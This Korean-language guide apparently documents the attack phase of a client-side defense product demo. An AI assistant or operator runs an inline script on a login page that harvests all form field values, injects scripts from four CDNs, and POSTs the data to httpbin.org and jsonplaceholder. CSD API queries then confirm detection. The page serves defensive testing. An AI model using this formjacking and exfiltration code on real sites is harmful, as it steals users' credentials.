- 홈
- 클라이언트 측 방어
- Demo
- 2단계 — 공격
2단계 — 공격
2단계는 보호된 애플리케이션에 대한 시뮬레이션 공격 트래픽을 생성하고 CSD가 이를 탐지했는지 확인합니다. 진행하기 전에 1단계가 완료되어야 합니다 — 7단계의 모든 확인이 PASS여야 합니다.
8단계: 공격 시뮬레이션
섹션 제목: “8단계: 공격 시뮬레이션”인프라가 검증된 후(1단계 7단계의 모든 확인이 PASS), 공격 시뮬레이션 스크립트를 실행하여 CSD 탐지를 생성합니다. 스크립트는 트리거 탐지 가이드와 공격 스크립트 라이브러리에 정의되어 있습니다.
AI 자동화 실행
섹션 제목: “AI 자동화 실행”브라우저 자동화 도구를 갖춘 AI 어시스턴트는 공격 시뮬레이션을 프로그래밍 방식으로 실행합니다:
- initScript로 탐색 — 먼저
about:blank로 이동하여 깨끗한 문서 컨텍스트를 확보한 후(이전 탐색의 오래된 initScript를 방지), zone.js가 패치하기 전에 네이티브setInterval,clearInterval,fetch,console.log를 저장하는initScript와 함께navigate_page로http://$F5XC_DOMAINNAME/#/login으로 이동하고, 로그인 폼 필드를 폴링하여 네이티브HTMLInputElement.prototype.value세터를 통해 자격 증명을 채우고, Combined Detection Script를 인라인으로 즉시 실행합니다. 아래의 initScript를 그대로 사용하십시오. - 환영 배너 닫기 —
Escape키로press_key하여 환영 배너를 닫습니다. 이후 방문 시 배너가 나타나지 않을 수 있습니다(쿠키가 유지됨). 쿠키 동의 대화 상자는 Escape 키로 자동으로 닫힙니다. - 완료 대기 — 모든 CDN 스크립트 로드/오류 콜백 및 fetch 프로미스 해결이 완료될 때까지 10초 대기합니다.
- 증거 캡처 —
list_console_messages로[CSD Demo] Simulation complete와 CDN 로드 결과를 확인하고,script및fetch유형으로 필터링된list_network_requests로 HTTP 상태 코드(200/201성공,pending보류 요청)를 검증합니다.
2단계 initScript (그대로 사용 — 정확히 작성된 대로 사용):
// Save native references before zone.js patches themvar _si = window.setInterval.bind(window);var _ci = window.clearInterval.bind(window);var _fetch = window.fetch.bind(window);var _log = window.console.log.bind(window.console);
// Poll for login form fields, fill credentials, run detection scriptvar _poll = _si(function() { var emailEl = document.querySelector('#email'); var passEl = document.querySelector('#password'); if (emailEl && passEl) { _ci(_poll); // Fill credentials via native setter (bypasses zone.js) var nativeSet = Object.getOwnPropertyDescriptor( window.HTMLInputElement.prototype, 'value').set; nativeSet.call(emailEl, 'test@example.com'); emailEl.dispatchEvent(new Event('input', { bubbles: true })); nativeSet.call(passEl, 'P@ssword123'); passEl.dispatchEvent(new Event('input', { bubbles: true }));
// Run Combined Detection Script inline using native fetch for exfil (function() { _log('=================================================='); _log('[CSD Demo] Combined Detection Script — Starting'); _log('==================================================');
_log('\n[Formjack] Phase 1: Form field harvesting'); var inputs = document.querySelectorAll('input'); var harvested = {}; inputs.forEach(function(input) { var name = input.name || input.id || input.type; harvested[name] = input.value || '(empty)'; }); _log('[Formjack] Harvested ' + Object.keys(harvested).length + ' fields:', harvested);
_log('\n[Supply Chain] Phase 2: Multi-CDN script injection'); var cdns = [ { url: 'https://cdn.jsdelivr.net/npm/lodash@4.17.21/lodash.min.js', name: 'jsdelivr' }, { url: 'https://esm.sh/moment@2.30.1', name: 'esm.sh' }, { url: 'https://unpkg.com/underscore@1.13.7/underscore-min.js', name: 'unpkg' }, { url: 'https://ga.jspm.io/npm:dayjs@1.11.13/dayjs.min.js', name: 'jspm' } ]; cdns.forEach(function(cdn) { var script = document.createElement('script'); script.src = cdn.url; script.onload = function() { _log('[Supply Chain] Loaded from ' + cdn.name + ': ' + cdn.url); }; script.onerror = function() { _log('[Supply Chain] Blocked/failed from ' + cdn.name + ': ' + cdn.url); }; document.head.appendChild(script); _log('[Supply Chain] Injected script tag: ' + cdn.name); });
_log('\n[Exfil] Phase 3: Data exfiltration'); var payload = JSON.stringify({ type: 'combined_demo', credentials: harvested, page: window.location.href, timestamp: Date.now() }); _fetch('https://www.httpbin.org/post', { method: 'POST', mode: 'no-cors', body: payload }) .then(function() { _log('[Exfil] Data sent to www.httpbin.org'); }); _fetch('https://jsonplaceholder.typicode.com/posts', { method: 'POST', mode: 'no-cors', headers: { 'Content-Type': 'application/json' }, body: payload }).then(function() { _log('[Exfil] Data sent to jsonplaceholder.typicode.com'); });
_log('\n=================================================='); _log('[CSD Demo] Simulation complete'); _log('[CSD Demo] Fields harvested: ' + Object.keys(harvested).length); _log('[CSD Demo] Scripts injected: 4 (4 CDN domains)'); _log('[CSD Demo] Exfil channels: 2 (fetch POST)'); _log('=================================================='); })(); }}, 300);수동 실행
섹션 제목: “수동 실행”브라우저 자동화 도구가 없는 운영자는 수동으로 단계를 수행합니다:
- 탐색 — 보호된 애플리케이션 로그인 페이지로 이동합니다:
http://xF5XC_DOMAINNAMEx/#/login - 더미 자격 증명 입력 — 이메일 필드에
test@example.com을 입력하고 비밀번호 필드에P@ssword123을 입력합니다(폼을 제출하지 마십시오) - DevTools 열기 — F12를 누르고 콘솔 탭으로 전환합니다
- Combined Detection Script 실행 — 트리거 탐지 — Combined Simulation Script 실행의 스크립트를 콘솔에 붙여넣고 Enter를 누릅니다
- 콘솔 출력 확인 —
[CSD Demo]단계별 출력이 필드 수집, 4개 CDN 도메인에서의 스크립트 주입, 2개 엔드포인트로의 데이터 유출을 보여주는지 확인합니다
트리거되는 항목
섹션 제목: “트리거되는 항목”| 신호 | 동작 | 탐지 |
|---|---|---|
| 폼 필드 수집 | 이메일 및 비밀번호 입력 값을 읽음 | 민감한 폼 필드를 읽는 스크립트 — 높은 위험으로 플래그 |
| 스크립트 주입 | cdn.jsdelivr.net, esm.sh, unpkg.com, ga.jspm.io에서 4개의 <script> 태그를 주입 | 최대 4개의 새로운 서드파티 스크립트 도메인 탐지(CDN 가용성에 따라 다름) |
| 데이터 유출 | fetch를 통해 수집된 데이터를 www.httpbin.org 및 jsonplaceholder.typicode.com으로 전송 | 외부 도메인으로의 네트워크 호출 |
AI 어시스턴트는 다음 사항을 보고해야 합니다. AI 자동화 실행의 경우, 증거는 list_console_messages를 통해 프로그래밍 방식으로 캡처됩니다(initScript의 폴링 함수가 결과를 콘솔에 기록함). 수동 실행의 경우, 운영자가 브라우저 콘솔 출력을 읽습니다.
| 확인 항목 | 예상 결과 | 상태 |
|---|---|---|
| 로그인 페이지 로드됨 | http://$F5XC_DOMAINNAME/#/login에서 200 OK | PASS / FAIL |
| 콘솔 스크립트 실행됨 | 콘솔 출력에 [CSD Demo] Simulation complete | PASS / FAIL |
| 필드 수집됨 | 콘솔 출력에 개수 > 0 | PASS |
| 스크립트 주입됨 | 콘솔 출력에 1–4개 CDN 도메인(일부는 리소스 오류로 실패할 수 있음) | CDN 도메인이 하나라도 나타나면 PASS |
| 유출 채널 | 콘솔 출력에 2개의 fetch POST 시도 | PASS |
9단계: API를 통한 탐지 검증
섹션 제목: “9단계: API를 통한 탐지 검증”CSD API 엔드포인트를 쿼리하여 탐지가 나타났는지 확인합니다. 폴링 루프를 사용하십시오: 60초마다 /detected_domains를 쿼리하고, DET-3이 통과되는 즉시 진행합니다. DET-3이 10분 후에도 통과되지 않으면 CSD 구성을 확인하십시오. DET-3이 30분 후에도 통과되지 않으면 중단하고 운영자에게 보고하십시오. 이 엔드포인트들은 API 참조에 문서화되어 있으며 이전 단계와 동일한 인증 및 네임스페이스를 사용합니다.
탐지된 스크립트
섹션 제목: “탐지된 스크립트”지난 24시간 동안 탐지된 스크립트를 쿼리합니다:
NOW=$(date +%s)START=$(( NOW - 86400 ))curl -s -X POST \ -H "Authorization: APIToken xF5XC_API_TOKENx" \ -H "Content-Type: application/json" \ -d "{\"startTime\": \"$START\", \"endTime\": \"$NOW\"}" \ "xF5XC_API_URLx/api/shape/csd/namespaces/xF5XC_NAMESPACEx/scripts" \ | jq '{total: (.scripts | length), scripts: [.scripts[]? | {script_name: .script_name, risk_level: .risk_level}]}'| 필드 | 예상 결과 | 상태 |
|---|---|---|
total | > 0 (스크립트 탐지됨) | > 0이면 PASS; 0이지만 /detected_domains에 유출 도메인이 표시되면 PENDING |
| 스크립트 이름 | script_name에 CDN 도메인(cdn.jsdelivr.net, esm.sh, unpkg.com, ga.jspm.io) 포함 | 주입된 CDN 도메인이 나타나면 PASS |
탐지된 도메인
섹션 제목: “탐지된 도메인”curl -s \ -H "Authorization: APIToken xF5XC_API_TOKENx" \ "xF5XC_API_URLx/api/shape/csd/namespaces/xF5XC_NAMESPACEx/detected_domains" \ | jq '{total_domains: .domain_summary.totalDomains, domains: [.domains_list[]? | {domain: .domain, category: .category}]}'| 필드 | 예상 결과 | 상태 |
|---|---|---|
total_domains | > 0 | > 0이면 PASS |
| 도메인 목록 | CDN 및 유출 도메인 포함 | 예상 도메인이 나타나면 PASS |
폼 필드
섹션 제목: “폼 필드”NOW=$(date +%s)START=$(( NOW - 86400 ))curl -s \ -H "Authorization: APIToken xF5XC_API_TOKENx" \ "xF5XC_API_URLx/api/shape/csd/namespaces/xF5XC_NAMESPACEx/formFields?startTime=$START&endTime=$NOW" \ | jq '{total: .total_size, fields: [.form_fields[]? | {name: .name, sensitivity: .analysis.value, scripts: (.associated_scripts | length), locations: .locations}]}'| 필드 | 예상 결과 | 상태 |
|---|---|---|
total | > 0 | > 0이면 PASS; 0이지만 DET-3이 통과되면 PENDING |
name | email, password 포함 | 민감한 필드가 나타나면 PASS |
sensitivity | 이메일/비밀번호 필드에 Sensitive | ML이 올바르게 분류하면 PASS |
2단계 증거 요약
섹션 제목: “2단계 증거 요약”모든 탐지 쿼리 후 최종 탐지 상태를 표시합니다:
| 테스트 ID | 확인 항목 | 상태 |
|---|---|---|
| DET-1 | 스크립트 탐지됨(/scripts 엔드포인트) | > 0이면 PASS; 비어 있지만 DET-3이 통과되면 PENDING |
| DET-2 | CDN 도메인 탐지됨 | PASS / FAIL |
| DET-3 | 유출 도메인 탐지됨(/detected_domains) | 주요 지표 — www.httpbin.org 또는 jsonplaceholder.typicode.com이 나타나면 PASS |
| DET-4 | 폼 필드 탐지됨(/formFields 엔드포인트) | > 0이면 PASS; 비어 있지만 DET-3이 통과되면 PENDING |
2단계 완료. 완화 규칙을 적용하고 도메인이 차단되었는지 확인하려면 3단계 — 완화로 진행하십시오.